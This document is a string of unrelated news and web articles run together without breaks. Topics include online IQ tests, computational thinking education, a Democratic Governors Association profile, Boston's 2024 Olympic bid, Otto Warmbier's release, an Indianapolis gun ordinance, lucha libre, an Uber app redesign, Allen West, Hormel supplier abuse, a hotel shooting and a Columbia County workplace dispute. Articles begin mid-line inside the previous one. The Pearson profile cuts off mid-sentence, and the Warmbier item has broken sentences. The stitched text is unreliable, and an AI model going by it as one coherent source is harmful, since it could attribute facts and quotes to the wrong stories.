This test claimed to be “advanced” so I thought I’d best give it a go. I’ve clearly exhausted the standard IQ tests meant for the proles, so obviously I need something more challenging. But, I still scored 138, keeping me comfortably in the “very superior” category. Even the advanced test can’t hold back my intellectual prowess. It seems I’m one doomsday device away from conquering the world.
Conclusions
At this point it would probably be informative to reveal my techniques for getting such high scores. Basically, all the tests used multiple choice questions, and I answered each one entirely at random. The whole thing took me less than half an hour. While it is technically possible that I regularly chose the correct answers due to chance alone (one issue with using MCQs in IQ tests), the odds against this are incredibly high. The results provided by one test give us something of a clue as to what’s going on
Some "questionable" results. Photograph: Dean Burnett
So I got barely 30% of the questions right, but because I did it quickly I have a huge IQ score? This (advanced) test suggests that a sign of intelligence is doing something wrong but fast, and rewards you for this. I can’t think of any other scenario where that would happen. If a plumber told you “I destroyed your boiler as soon as I touched it”, paying him a bonus would not be the first thing that came to mind.
This cursory investigation suggests that many online IQ tests aren’t what they claim to be, but are just gimmicks to obtain web traffic and people’s custom. The ones I used were strewn with ads, and I can’t imagine something intended to sell products would risk calling customers stupid (not until they have their money, at least).
There may well be valid online IQ tests, but tread carefully if you’re using them. And be wary of anyone who publicly shows off about their scores on such tests. An intelligent person would do no such thing.
Dean Burnett reveals signs of his failing intellect via Twitter, @garwboyIt is a cool and useful idea that, along with other cool and useful computer science ideas, has people itching to know more. It’s obvious that computers have become indispensable problem-solving partners, not to mention personal companions. But it’s suddenly not enough to be a fluent user of software interfaces. Understanding what lies behind the computer’s seeming magic now seems crucial. In particular, “computational thinking” is captivating educators, from kindergarten teachers to college professors, offering a new language and orientation to tackle problems in other areas of life.
This promise — as well as a job market hungry for coding — has fed enrollments in classes like the one at Berkeley, taken by 500 students a year. Since 2011, the number of computer science majors has more than doubled, according to the Computing Research Association. At Stanford, Princeton and Tufts, computer science is now the most popular major. More striking, though, is the appeal among nonmajors. Between 2005 and 2015, enrollment of nonmajors in introductory, mid- and upper-level computer science courses grew by 177 percent, 251 percent and 143 percent, respectively.
In the fall, the College Board introduced a new Advanced Placement course, Computer Science Principles, focused not on learning to code but on using code to solve problems. And WGBH, the PBS station in Boston, is using National Science Foundation money to help develop a program for 3- to 5-year-olds in which four cartoon monkeys get into scrapes and then “get out of the messes by applying computational thinking,” said Marisa Wolsky, executive producer of children’s media. “We see it as a groundbreaking curriculum that is not being done yet.”
Computational thinking is not new. Seymour Papert, a pioneer in artificial intelligence and an M.I.T. professor, used the term in 1980 to envision how children could use computers to learn. But Jeannette M. Wing, in charge of basic research at Microsoft and former professor at Carnegie Mellon, gets credit for making it fashionable. In 2006, on the heels of the dot-com bust and plunging computer science enrollments, Dr. Wing wrote a trade journal piece, “Computational Thinking.” It was intended as a salve for a struggling field.
“Things were so bad that some universities were thinking of closing down computer science departments,” she recalled. Some now consider her article a manifesto for embracing a computing mind-set.At DGA, Pearson Quietly Pulling Democrats Back to Prominence
by Nathan L. Gonzales
Democratic lawmakers probably wouldn’t recognize Elisabeth Pearson if she walked into their Capitol Hill office, but they might be owing her their jobs before too long.
As executive director of the Democratic Governors Association and a leading strategist in the party’s redistricting efforts, Pearson’s success will determine how long members stay in Washington.
“Her job, if not the most important job, is one of the most important jobs in Democratic politics right now,” Democratic Sen. Mark Warner of Virginia said.
Thirty-eight states will elect a governor over the next two years. And many of those governors will play a critical role in the next round of redistricting, which is scheduled for after the 2020 census. Democrats need governors in Ohio, Pennsylvania, Florida, Wisconsin and Michigan, for example, to ensure Republicans don’t impose new congressional maps that limit Democratic opportunities to gain and hold seats for a decade.
With dual roles at the DGA and as a founding board member of the newly formed National Democratic Redistricting Committee, Pearson is critical to Democratic efforts to regain relevancy.
Maine Beginnings
Pearson’s political acumen has grown since that day in American Government class at Bowdoin College in Maine when she and her classmates struggled to list all their elected officials.
“It was a wake-up call with the level of disengagement,” she recalled.
Pearson, 35, was born in Exeter, New Hampshire, but grew up nearby in Kittery Point, Maine, about 70 miles south on the turnpike from Bowdoin. Her mother was a homemaker when she was young and her father worked as a video journalist.
The self-described “big jock” played basketball, soccer, and tennis for the Berwick Academy Bulldogs, along with being a part of the math team and Art Honor Society, and attempting to learn Spanish.
Despite coming from a family of Democrats, Pearson interned for GOP Sen. Susan Collins of Maine, during her junior year of college through American University’s Washington Semester Program.
By the time she graduated from Bowdoin in 2003, Pearson had been infected with the political bug. She moved back to Washington and landed a job at Winning Directions, a prominent Democratic direct-mail firm, where she connected with consultant Alan Moore.
“She’s extremely well-organized, very smart, highly respected, and well-liked. All of those attributes normally don’t apply to one person in the political business,” Moore explained.
Virginia Forever
When Moore left in 2004 to lead Virginia Democrats’ coordinated campaign to get Tim Kaine elected governor, Pearson was one of his first hires. As deputy director for the coordinated campaign, she worked as a utility player with the data team, a key liaison with the Kaine campaign, and organized the get-out-the-vote operation in Richmond in the final days of the 2005 race, which Kaine won.
When state Del. Jackie Stump resigned, Pearson moved to rural southwest Virginia and managed Democrat Dan Bowling’s campaign. She lived in a motor lodge in Tazewell County for a special election that spanned Christmas and the holidays. Without significant campaign funds, the first-time manager learned how to be efficient with resources and rely on quality volunteers in the successful effort.
In 2006, Pearson was campaign director for the Democratic Party of Virginia when Jim Webb knocked off GOP Sen. George Allen. During that cycle, her future husband, Charlie Kelly, managed Phil Kellam’s unsuccessful challenge to GOP Rep. Thelma Drake in Virginia’s 2nd District. The couple first met on the initial Kaine race.
After helping guide Democrats back to a majority in the Virginia state Senate in 2007, Pearson was hired by Warner and his team for his U.S. Senate run.
Managing the coordinated campaign “is as much about wrestling egos as execution,” Warner said. “She was great at both.” The former Democratic governor cruised to victory while Barack Obama won Virginia at the top of the ballot.
Warner was so impressed with Pearson that he wanted her to be his chief political person, “but she still had the campaign bug,” the senator recalled.
“She had the determination to make sure Warner’s interest was represented well and not left out,” remembered Warner campaign manager Mike Henry on dealing with the behemoth of the Obama campaign. “Her brains and talent and toughness were evident at a young age.”
Henry recalled a football game in Richmond with various local political types. Pearson caught a touchdown pass and casually walked back to her teammates with a bone from her pinkie protruding from her skin. Friends recall that she kept playing with a broken finger, but Pearson admits she later took herself to the emergency room.
Pearson, “EP” to many of her friends and colleagues, stayed in Virginia to manage state Treasurer Jody Wagner’s 2009 race for lieutenant governor in what ended up being a challenging political climate.
“We witnessed the bottom falling out,” Pearson said. In the first real races during Obama’s first term, Republicans swept the 2009 statewide elections in Virginia. (Wagner lost to Bill Bolling.) The result was jarring for Pearson who, up to that point, had experienced considerable success in politics and sports.
“But you learn more from losses. You don’t question yourself when you’re winning,” she said.
Wagner compares Pearson to a duck gliding calmly across a pond while paddling intentionally below the surface.“She always made it look like she wasn’t sweating, but I know she was working extremely hard,” she said.
“She didn’t try to micro-manage me as a candidate,” Wagner remembered. And when it came time for critical fundraising calls, “she didn’t make me feel like a captive.”
The National Stage
Even though Wagner went down to defeat, Pearson’s stock continued to rise.
With Democratic Senatorial Campaign Committee political director Martha McKenna as an advocate, Pearson landed a job as deputy political director at the committee. She became the DSCC’s point person to appointed-Sen. Michael Bennet’s campaign in Colorado and learned the value of bridging the divide between candidates and the committees.
“Campaigns often find party operatives as too heavy-handed,” said J.B. Poersch, the DSCC’s executive director at the time. “But no one felt that [with Pearson]. She had the right mentality.”
McKenna described Pearson as “quiet, but a really smart operative.” She remembered the moment on election night when Pearson called Bennet’s victory, which wasn’t officially called until Wednesday morning.
McKenna, a Baltimore native, proceeded to connect Pearson with the DGA, which was then led by Maryland Gov. Martin O’Malley. Pearson worked her way up from campaign director (2011-12) to political director (2013-14) to executive director in 2015.
Democrats held serve during her first year at the helm by losing Kentucky but picking up Louisiana. And last year, when Democrats experienced a demoralizing loss for president and disappointment in congressional races, the DGA had mixed results.
“In a very bad year, we had a relatively good year,” said DGA Chairman Dan Malloy, the governor of Connecticut, citing the Democrats’ high-profile victory in North Carolina. Malloy has no reservations with Pearson calling the shots once again.
“She’s got a track record already,” he said. “We raised money, cut expenses, and held assets for the future.”
Pearson’s decision to move the DGA offices off K Street, and other |
away.
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Related StoriesWhen cheerleaders for a 2024 Boston Olympics tout the ways the Summer Games would benefit the region, they regularly mention how the spectacle would boost universities, rail service, and middle-class housing.
But there’s a core constituency that’s left off the list, one that would play a crucial role in pulling off such a complex undertaking – local labor unions.
Boston 2024 Partnership chairman John Fish promises he would put a project labor agreement in place to ensure that all Olympic-related construction is done by union workers if the city wins this high-stakes beauty contest.
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Not all the trade unions are rushing to return the love. The Teamsters Local 25’s chief has pledged to marshal his forces, if necessary, to bring the Olympics here. But he seems to be an exception: Leaders of at least two other major local unions are saying they need more information, and several others are avoiding public comment altogether.
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The 2024 Olympics could represent the city’s biggest group of construction projects since the Big Dig. The estimated price tag of $4.5 billion would mean a bonanza for union work. There would also be billions of additional dollars in public infrastructure projects, and untold amounts of spending by local schools. (Organizers say the operating budget would be funded by Games-related revenue, not taxpayer dollars.)
As part of his effort to bring the Olympics here, Fish led a contingent to Redwood City, Calif., on Tuesday to lobby the US Olympic Committee. Los Angeles is a perceived front-runner among Boston and other rival cities San Francisco and Washington, D.C., for the US bid. The USOC expects to select the city in early 2015 but the ultimate international decision will take another two years.
Victor Matheson, economics professor at the College of the Holy Cross in Worcester, said that the economic impact of the Olympics can mean more losers than winners. Organized labor, he said, tends to come out on the winning side.
But Matheson said he can also see why union leaders would be reluctant to champion a Boston 2024 Olympics this early in the race. “You don’t want to be seen as the group that’s trying to steal money out of hard-working taxpayers’ dollars,” he said. “If I’m a typical union, I want to see that this is going to actually succeed before I throw my hat in. And I want to see that people actually like the project.”
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As chief executive of Suffolk Construction, Fish is known for turning to union labor for his many Boston-area projects. Fish said a project labor agreement would help ensure Olympics-related venues get built on time, without a hitch.
The Summer Games could create thousands of temporary jobs for the Boston area, and Fish said an agreement would ensure they support good-paying, middle-class wages.
“I would encourage a project labor agreement to be put in place,” Fish said. “I think that’s the best route for predictability, both on the cost side and on the schedule side.”
Teamsters Local 25 president Sean O’Brien is ready to go to battle for Fish’s cause.
The International Olympic Committee wants assurances that there is broad public support in the city that would host the Games. And the support of Local 25’s 11,000-person army of truck drivers, parking lot attendants, and others could play a crucial role.
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“There’s no reason we would not be out promoting to help bring the Olympics to Boston in 2024,” O’Brien said, pointing to the extra jobs the Games would bring. “If we’re going to have to go out and lobby folks to get support, there’s no better partner to put boots on the ground than organized labor.”
But other unions aren’t quite ready to enlist in Fish’s army. Mark Erlich, head of the New England Regional Council of Carpenters, said he’s impressed by efforts to develop a plan that won’t drain public coffers, but it’s a little premature for his membership to stake out a position on the 2024 Olympics.
“It seems like a good idea, but the devil is always in the details,” Erlich said. “If Boston was the US designated city, then I would assume the public discussion would be ratcheted up, and I’m sure we would participate.”
Leaders at the International Brotherhood of Electrical Workers Local 103 are even more circumspect.
“They’re very intrigued by the job opportunities that will exist but they have a lot more to learn about the proposal, and discussions have to happen internally before they would really want to comment on it,” said P.J. O’Sullivan, a spokesman for Local 103.
Fish also risks running afoul of the Merit Construction Alliance.
Ronald Cogliano, president of the nonunion contractors’ group, said a project labor agreement would be unfair to the majority of construction workers in the state who aren’t union members.
“We’ve got a small group of people picking winners and losers,” Cogliano said. “At the end of the day, you’re going to have construction projects that cost at least 20 percent more... and you’re going to have good hard-working people discriminated against because they don’t belong to a union.”
As president of the UNITE HERE Local 26 service workers union, Brian Lang wouldn’t directly benefit from a project labor agreement for construction work.
But Lang said Olympics organizers could craft a “labor peace agreement” that ensures unionized janitors and concessions workers are hired and paid decent wages: “The last thing we need, if the Olympics are here, are demonstrations and strikes, and people walking off the job over labor issues.”
That said, Local 26 doesn’t seem to be in a rush to take a stand on whether the Olympics should come to Boston. “There’s a handful of rich people who have thought that it makes sense and they’re discussing it amongst themselves,” Lang said. “I’m not opposed to that. [But] I would prefer a much more open process where there gets to be real discussions and debate.”
Jon Chesto can be reached at jon.chesto@globe.com. Follow him on Twitter @JonChestoNORTH KOREA Releases US Prisoner Otto Warmbier After Year in Captivity — WAS IN COMA FOR A YEAR!
The North Korean regime released American Otto Warmbier after a year in captivity.
Former NBA star Dennis Rodman went to North Korea again yesterday.
Rodman was wearing a T-shirt promoting a pot exchange when he entered the regime.
Dennis Rodman travels to North Korea while promoting PotCoin, the Bitcoin of weed https://t.co/USK3kgmYJF pic.twitter.com/Ah6U4y3Uw8 — Fabio Rodríguez (@superfabis) June 13, 2017
This morning American prisoner Otto Warmbier after a year in captivity.
Secretary Tillerson said President Trump secured his release.
Otto Warmbier was in a coma for a year. He was flown home today.
He went into a coma shortly after his sentencing last year.
FOX News reported:
North Korea has released jailed U.S. university student Otto Warmbier, Secretary of State Tillerson said. The 22-year-old Warmbier has served just over a year of his 15-year sentence — allegedly for taking down a sign of the dead dictator Kim Jong Il while Warmbier was in the country with a tour group. The U.S. has no diplomatic relations in North Korea. Foreigners who have been detained or imprisoned in the Hermit Kingdom often have a shared experience: confusion, coached confessions, communication blackouts and isolation. Warmbier’s release leaves three U.S. citizens currently known to be held in North Korea: accounting professor Kim Sang Duk, businessman Kim Dong Chul and Kim Hak-Song, who worked at Pyongyang University.Shrugging off legal concerns, the council approved an ordinance requiring gun owners to report lost or stolen firearms to the police or pay a fine
In this April 2014 file photo, a convention goer hefts a Smith & Wesson handgun at the 143rd NRA Annual Meetings and Exhibits at the Indiana Convention Center in Indianapolis. (Photo: AFP/Getty Images 2014 file photo)
Shrugging off looming legal concerns, the City-County Council on Monday approved an ordinance requiring gun owners to report lost or stolen firearms to the Indianapolis Metropolitan Police Department or pay a fine.
The proposal was sponsored by Democratic Councilman Kip Tew and passed 15-14, along party lines. But it appeared unlikely that it would take effect, with concerns out of the mayor's office pointing toward a likely veto.
Backers said it wasn't a cure-all to the city's crime epidemic but hope the reporting requirements would help law enforcement track stolen weapons that might be used in future crimes.
“If we don’t start working on this issue, it is not going to get better before it gets worse," said Democratic Councilwoman Pamela Hickman. "We have a gun problem, and this is a start” to finding a solution.
The ordinance would require gun owners to report a lost or stolen firearm within 48 hours of realizing it has been stolen, or face a $50 fine. There are exceptions for those who are unable to report the theft in a timely manner because of illness or other circumstances.
Mayor Greg Ballard and Council Republicans said they were worried the ordinance could conflict with a state firearms law — and, as a result, could leave the city vulnerable to a lawsuit.
The state law passed in 2011 pre-empts local governments from regulating firearms and ammunition. It also gives organizations that are “dedicated … to protecting the rights of persons who possess, own or use firearms,” such as the National Rifle Association, legal standing to sue in court if a local agency is found in violation of the law.
"As things stand now, he has some significant concerns about the legality and the timing of the proposal,” Jen Pittman, spokeswoman for Ballard, said in a text message.
But backers were undeterred, saying that the law, which primarily refers to gun ownership and sales, doesn't apply to the proposal.
“I believe you have to suspend your belief in the English language to believe that that (the state pre-emption law) has anything to do with guns that are lost or stolen," Tew said.
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“We are not regulating guns in any way. We are trying to require people to report something that is lost or stolen.”
Nine states and Washington, D.C., have similar laws requiring firearms owners to report the loss or theft of their firearms to law enforcement, according to the Law Center to Prevent Gun Violence, a gun control advocacy group.
There is no comprehensive data on stolen firearms locally, and the most recent national data is outdated. But a federal Bureau of Justice Statistics report found that as many as 1.4 million firearms were stolen in the U.S. from 2005 to 2010.
Several Republicans, though, doubted the ordinance would help, calling it "void," "unenforceable" and a magnet for a costly lawsuit.
“I guess we’re going to criminalize the victim for having their gun stolen,” said Republican Councilman Aaron Freeman.
Call Star reporter Brian Eason at (317) 444-6129. Follow him on Twitter: @brianeason.
Read or Share this story: http://indy.st/1Yg9xOJChapter One: The Hero Becomes the Villain
The story of El Hijo del Santo vs. Negro Casas begins all the way back in 1984, when both men were working for the Universal Wrestling Association (UWA). Think of the UWA as like AAA, without the success (though the company did last a solid twenty years as the number two promotion in Mexico). By this point, Casas, then UWA’s World Lightweight Champion, was a five year veteran who had already had a stint with CMLL (then still EMLL), while Santo had barely been wrestling year. Never the less, the son of the legendary El Santo proved to be quite capable in the ring, and he soon dethroned Casas for the title on October 28th. His victory of Casas would start a long (and according to Wikipedia, intense) three year feud between the two, with Casas as the ruthless rudo and Santo taking up the heroic technico role his father had long held. By the time Santo defeated Casas in a hair vs. mask match in July of 1987, both men had been established as the future of lucha libre and major box office attractions. The two would continue on and off for several years, before briefly going their separate ways. Casas would eventually wind up in CMLL full time, while Santo bounced between UWA and CMLL before finding a home in, where he would eventually find himself in one of the most famous tag team matches in wrestling history. Let’s just say octagons and love machines were involved.
Eventually, Santo and Casas found themselves both in CMLL by 1995, where they resumed their feud. In a smart move, CMLL decided Santo-Casas was the perfect match to co-headline one of the two shows CMLL was running for their 63rd Anniversary (yes, the 63rd Anniversary Show was split into two. Very AAA of them). That's not all CMLL had in mind though. Only two years earlier, the Mexican economy had collapsed after the government suddenly devalued the peso, Mexico’s form of currency. The downturn took a huge toll on the country in general, and especially on CMLL, which was already having issues on the business side due to the rise of AAA in 1992. How bad things were is something only the company can know, but in any event, they needed a spark in the worse way. What would that spark be? A revitalized Hijo del Santo-Negro Casas feud, only this time with a twist; Casas would be the technico, and Santo would be the rudo. Now you're probably thinking this isn't a big deal. Despite being a rudo throughout his career, Casas had long been one of the most popular luchadors across the country. Officially making him a villain would be no sweat. But Santo as the villain? This was a massive risk, especially since no one in El Santo lore had been a rudo since the 1950s. In a way, it was very much like what WCW did with Hulk Hogan only months earlier in taking one of the most famous legacies in wrestling history and flipping it to the dark side. And just like with WCW, it worked.
It greatly helped that the execution of the angle was pretty flawless. Casas would defeat Santo at the 63rd Anniversary Show (albeit by DQ0, his first big win over his long time rival and the start of his technico turn. Santo would then quietly disappear for a few months while Casas feuded with his former teammates, Scorpio Jr. and Bestia Salvaje. The storyline had Scorpio and Salvaje jealous of Casas' popularity, leading to them claiming they had a surprise for Casas. This surprise revealed itself at the beginning of a trios match between Casas, El Dandy and Hector Garza against Scorpio, Salvaje and Felino. This did appear to be big on the surface as Felino is Casas’ real life brother. As it turns out, it was a very clever ruse. Right before the match began, Scorpio and Salvaje would take out Casas’ teammates and then gang attack him, all while Felino watched from the ring apron. As the technicos started to rally and Felino did nothing, it appeared Casas' brother was refusing to attack his own flesh and blood. NOT SO FAST MY FRIEND! As soon as the technicos took full control Felino got into the ring, took off his mask and reveal that it wasn't actually Felino; it was Santo.Introducing the new Uber rider app
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At Uber, we are passionate about using technology to help move people around cities. Seven years ago when we launched in San Francisco, we simply wanted riders to be able to push a button and get a ride. As we expanded to meet riders’ many needs—from UberBLACK and uberX to uberPOOL—we evolved into a global service that helps to move millions of people every day in over 450 cities.
Since our last redesign in 2012, our app has become complicated and harder to navigate. To recapture the clean and simple aesthetic of the original Uber experience—without sacrificing the choice our riders now expect—we rebuilt a faster, smarter rider app completely from the ground up.
We designed the new Uber app around you—and our core beliefs that time is a luxury and that the information you need should always be at your fingertips. Gone are the days when everyone’s app looks the same. The new Uber experience is reimagined around a simple question—“Where to?”. After all, you use Uber to get somewhere—or to someone. And by starting with your destination, we can tailor the journey to you.
Let’s take a spin.
The new Uber app learns from your routines. So if you’re a frequent rider you’ll see “shortcuts” that predict where you could be headed. This means you can get moving with just one tap. Soon you’ll also be able to connect your calendar with Uber. Once you connect, your meetings and appointments will automatically appear as “shortcuts,” saving you the hassle of digging through another app to find the right address.
We know that people use Uber to meet friends, whether it’s at a concert or a night out. This means your destination is often a person. But figuring out exactly where they are involves a lot of texting back and forth. We’ll soon be introducing a new feature we refer to as people are the new places that enables you to set your destination to a person instead of a place. Just sync your contacts with the app, type their name into the search bar and once they’ve shared their location, you’ll be on your way.
After you tell us where you’re going, you can decide how you want to get there. We know that you want a different type of ride for different moments. If you’re on the way to a meeting and want to prep, you’ll choose a solo ride with uberX. To ride in style to a celebration, maybe UberBLACK. And for a run-of-the-mill trip across town, uberPOOL. It’s now much easier to compare the cost of all your options with upfront fares. And for uberPOOL and uberX, you also see what time we expect you to arrive, so you have what you need to make the best decision for your wallet and schedule.
Once you’re on your way, the focus is on helping you make the most of your ride. You can still split your fare and share your trip status with friends. Soon, we’ll offer more experiences tailored around where you’re going. Using Uber to get to the station? Check Transit to see upcoming departures for the train, bus, and subway. Headed somewhere delicious? Browse Yelp reviews right from the app. Exploring a new neighborhood? Use Foursquare for tips on what to do and where to go next. On your way to friends? Play with exclusive Snapchat filters or stream your favorite songs on Pandora to get you in the mood. And if UberEATS is in your city, order food on the way home so you and your burrito can arrive together.
Starting today, the new rider app is rolling out globally on iOS and Android over the next several weeks. We hope you enjoy the ride. To learn more, please visit uber.com/whereto.So says the New Republic about Allen West, the Broward Republican and Iraq war veteran challenging Rep. Ron Klein, D-Boca Raton, for re-election.
West, the article says, is getting little help from national Republicans who were once focused on ousting Klein: "The GOP's greatest embarrassment of all might seem to be Florida's 22nd, where the party that Iraq destroyed is running a candidate charged with violating the Uniform Code of Military Justice," the article notes.
It says that West "was on track for a generalship when his unit was assigned in August 2003 to interrogate an Iraqi policeman who had supposedly turned Benedict Arnold. The policeman refused to cooperate, so West dragged him outside, pushed his head into the sand, and fired a gun next to his face to get him to sing. 'I'd do it again if I had to,' West told the New Republic. 'It wasn't torture. Seeing Rosie O'Donnell naked would be torture.' "
West got plenty of attention last night. His talk of spurning Al Jazeera earned him a spot on MSNBC's Countdown with Keith Olbermann as "Worst Person in the World."
West fans consider the diss by the hero of the left a bit of a coup: "A friend e-mailed to tell me that...West, Republican candidate for Congress in Florida’s 22nd District, has been named "Worst Person in the World" by Keith Olbermann," West's campaign blog notes. "Congratulations to all those who’ve worked so hard to help Colonel West win this prestigious honor."Hormel Foods, the Minnesota-based food producer best known for its pork products including Spam, says it will cease working with an Oklahoma supplier after undercover video footage revealed widespread abuse at the farm.
The video, released on Tuesday by Los Angeles-based animal rights group Mercy for Animals, revealed numerous abuses at Maschhoffs farm, the largest U.S. pork producers. The video included footage of leaving injured and sick pigs without veterinary care, confining the animals to small spaces, and workers subjecting the animals to physical abuse such as ripping out the testicles of baby piglets and slicing off tails without the use of anesthetics.
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"We have issued a suspension of all the Maschhoffs, LLC Oklahoma sow operations while a thorough investigation is completed", Hormel said in a statement after seeing the video. Hormel is sending third-party investigators to assess the farm’s handling of animals.
It’s the second video in less than a year showing animal abuse at a Maschhoffs farm and third video in recent years revealing animal welfare issues at Hormel suppliers. Hormel temporarily suspended sourcing from a Nebraska outfit of Maschhoffs in May 2016 following another Mercy for Animals undercover video release.
In 2015, a video released by another animal rights group, Compassion Over Killing, showed widespread abuses at a Minnesota Hormel facility.
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A statement released by the Maschhoffs farm said the operation would be investigating the issue and taking steps to train its employees on “proper production procedures.”
“It's high time that Hormel took meaningful action to end the worst forms of animal abuse at its facilities,” Mercy for Animals president Nathan Runkle said in a statement, “and for individual consumers, the best way to help stop this cruelty is to leave meat off their plates.”
Hormel says it plans to stop using gestation crates to house pregnant sows by the end of 2017. Gestation crates are so small the sows don't have enough room to turn around. Nine states currently have bans on gestation crates (Arizona, California, Colorado, Florida, Maine, Michigan, Ohio, Oregon, and Rhode Island).
A recent report found that major food companies are looking at animal welfare commitments as opportunities to further connect with their target consumers who value transparency and ethics as driving factors, particularly among millennial shoppers.
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Mutating New Pig Virus Expected to Kill Millions of Baby Pigs and Cripple Pork IndustryImage copyright GMP/GOOGLE Image caption David Andrew Jeffers admitted possessing a firearm with intent to endanger life
A woman was shot in the vagina and left with "life changing injuries" in a sex game gone wrong, a court has heard.
The 46-year-old had been engaged in sexual activity with David Andrew Jeffers, 47, at a Stockport hotel in January when she was shot.
Jeffers admitted possessing a firearm with intent to endanger life and was jailed for 10 years.
The two had been engaged in a "sex fantasy" when the weapon fired, the Crown Prosecution Service said.
Greater Manchester Police branded the scene "shocking" and "horrifying".
Manchester Minshull Street Crown Court heard the shooting happened at the Britannia Hotel in Dialstone Lane in the early hours of 31 January.
When officers arrived at the scene they found the victim in a pool of blood and suffering from serious abdominal injuries.
She was taken to hospital and required extensive surgery, police said.
'Badly bleeding'
The woman, who was too unwell to be fully interviewed at the time, told officers from her hospital bed that Jeffers was a "bad man".
Police said Jeffers, of Berkley Terrace, Leeds, claimed to have found the gun in a pub toilet in Leeds. He said he took the gun to Manchester to dispose of it.
Jeffers was spotted on CCTV leaving the hotel and going to Piccadilly Station to catch a train back to Leeds.
Armed officers raided a property on Amberton Grove, Leeds, two days later and arrested Jeffers.
A search of the house found a partially scrawled note denying knowledge of the shooting, the court heard.
Det Insp Roger Edwards said: "This was a horrifying incident that has left a woman with life changing injuries that will affect her for the rest of her life."
He said the crime was "one of the most shocking" he had encountered, adding: "Jeffers left the victim badly bleeding in a hotel room, showing no regard for her life.
"I know that this has been a traumatic time for this woman, having to relive the horror of that day."As County Administrator Scott Johnson stood up last week to address the media following the release of a report detailing an investigation by the Columbia County Sheriff’s Office into allegations that he had created a hostile work environment for former EMA Director Pam Tucker, he wasn’t celebrating.
While the sheriff’s office found no evidence to support Tucker’s claim of a hostile work environment, Johnson said his reputation had been tarnished by serious accusations that were totally baseless.
Johnson wasn’t proclaiming a victory.
Instead, he was standing up to clear his name.
“This is very unfortunate for Columbia County,” Johnson said, addressing the Board of County Commissioners, his staff, supporters and the media. “It has caused a lot of negative attention to Columbia County. For me personally, it’s been very trying.”
For almost three months, Johnson said his 30-year career in public service was attacked and nearly destroyed because of a disgruntle employee’s claims.
“To be tried and convicted on social media, in professional media and for people to call for your job that don’t even know what you do or don’t even know your name is pretty tough,” Johnson said.
“I’ve had physical threats and death threats given to me because of Mrs. Tucker’s popularity. And I still stand here today and say that I did absolutely nothing wrong in this situation.”
But in the arena of public opinion, accusations such as creating a hostile work environment are difficult to erase, even with an investigation clearing his name, Johnson said.
“I was falsely accused,” Johnson said. “It has been very difficult for me and for my family. Professionally, if you Google my name now, this is all you get. And I have worked a long time to build up a reputation that I feel like has been ruined unfairly.”
During the investigation by the sheriff’s office, Johnson provided two recorded conversations he had with Tucker in January, as well as numerous texts and emails between the two that clearly showed he was trying to be supportive of her needs and was making every attempt to work with Tucker to encourage her to stay on as Columbia County’s EMA director.
“This completely caught me off guard,” Johnson said, adding that he is extremely thankful that he had evidence that he could provide the sheriff’s office to corroborate his version of events prior to Tucker resigning on Jan. 31. “I really don’t think I would have gotten a fair shake with the popularity of Mrs. Tucker had I not had some kind of evidence to back up that the claims were not true.”
During the almost hour-long press conference, the four commissioners in attendance said they fully supported Johnson as administrator and accepted the findings of the sheriff’s office.
“We don’t shy away from controversy,” Columbia County Chairman Ron Cross said, adding that he welcomed the investigation by the sheriff’s office into the accusations of a hostile work environment by Tucker against Johnson, as well as similar allegations against Tucker by former EMA Deputy Director Rusty Welsh.
When Welsh resigned in late December, he accused Tucker of being “controlling, manipulative, condescending, arrogant, disrespectful, hypocritical and juvenile.”
The investigation by the sheriff’s office also found that there was no evidence to support Welsh’s claims of a hostile work environment created by Tucker.
“Basically, we knew from the beginning that there was no possibility of a hostile work environment from either party,” Cross said.
However, when such accusations are made against top ranking employees within the county, Cross said the allegations couldn’t be ignored.
“Mrs. Tucker was a very good EMA director and she followed the guidelines of FEMA and GEMA extremely well which benefited the citizens of Columbia County,” Cross said during the press conference, adding that none of the commissioners, nor the administrator, wanted her to resign.
However, Cross said he found it extremely troubling that after Tucker decided to resign and accused Johnson of creating a hostile work environment, she provided members of the media her letter of resignation, which was extremely critical of Johnson, prior to delivering it to the county.
“This appeared to be a deliberate attempt to discredit Mr. Johnson and embarrass Columbia County,” Cross said of Tucker.
Those weren’t the only critical comments that Cross made about Tucker during the press conference.
“I didn’t realize the undertow was as strong among division directors concerning Mrs. Tucker’s very narcissistic personality. Everything was about Pam,” Cross said. “I think over the years, people have gone out of their way to cater to her because of her sensitivity to constructive criticism and her ability to shut down completely if something was said she did not like.”
While Tucker has announced plans to run for Columbia County Chair in 2018, a seat currently held by Cross, he insisted that his comments were not politically motivated.
These were observations that he made after talking to several county employees, he said.
“One comment was that she was queen of the cut and paste,” Cross said, explaining that some employees accused Tucker of taking full credit for their work. “There were other comments that they ‘had to walk on egg shells around her.’”
But what truly bothered Cross was the fact that Tucker told him that “if she could get her severance, she would go quietly.”
“I didn’t like the tone of that then and I don’t like it today,” Cross said.
Those are not comments made by someone who cares about Columbia County, he said.
“It has been said that Mrs. Tucker was the face of Columbia County. She may be,” Cross said, looking around the room filled with county staff and commissioners. “But she is not the heart, the soul and backbone of Columbia County. That is right here with the people in this room.”
Cross wasn’t the only commissioner critical of Tucker’s action.
Commissioner Bill Morris, who also happens to be a former principal in Columbia County, said he was extremely disappointed by the fact that Tucker resigned only weeks after Welsh quit.
Her decision left the county with only a newly hired operations officer, Andy Leanza, at the helm.
While Leanza is highly qualified and has recently served with GEMA as an Area 5 Field Coordinator, Morris pointed out that he had only been on the job a few weeks.
“As a former principal, I had an assistant principal leave. She was very valuable. She had been there longer than I had,” Morris said during the press conference. “I thought about quitting, too, because the superintendent and the board said, ‘You can finish out the year without an assistant principal.’ I was panicked. But I didn’t quit.”
Morris refused to turn his back on the school and its students.
“I sucked it up and I got the job done for the kids, for the parents and for the citizens of the county,” Morris said. “And this just infuriates me that she would walk out on the citizens of Columbia County.”
“For her to say that she loves this county and loves her job, uh-uh. To walk out like that when your second in command had quit, no sir. Don’t quit. Never, never, never quit.”
Following all of the commissioners’ comments, Cross ended the press conference by insisting that Johnson was not only an excellent county administrator, but he was also a very good person.
“Mr. Johnson is not the gruff individual that some people think,” Cross said. “He is great at his job. He is aggressive, which we want him to be. He demands a high level of excellence. But what has been portrayed of him is nothing short of a crime.”
Cross said that Johnson is an outstanding human being.
“This is the guy that I know that gives a $100 tip on a $30 meal because the waitress seems to be struggling. This is the guy who pays a hotel bill for a battered wife and her two daughters so that she can stay there until her other residence is taken care of. This is the guy who starts a Christmas fund for one of the custodians here because she doesn’t have enough money to buy gifts for her children. This is the guy who will loan his brand new pick-up truck to a county employee so he can bring a four-wheeler back from Atlanta for his daughter,” Cross said. “This is the guy that I know. The guy that has been portrayed on social media is not the Scott Johnson that I know.”
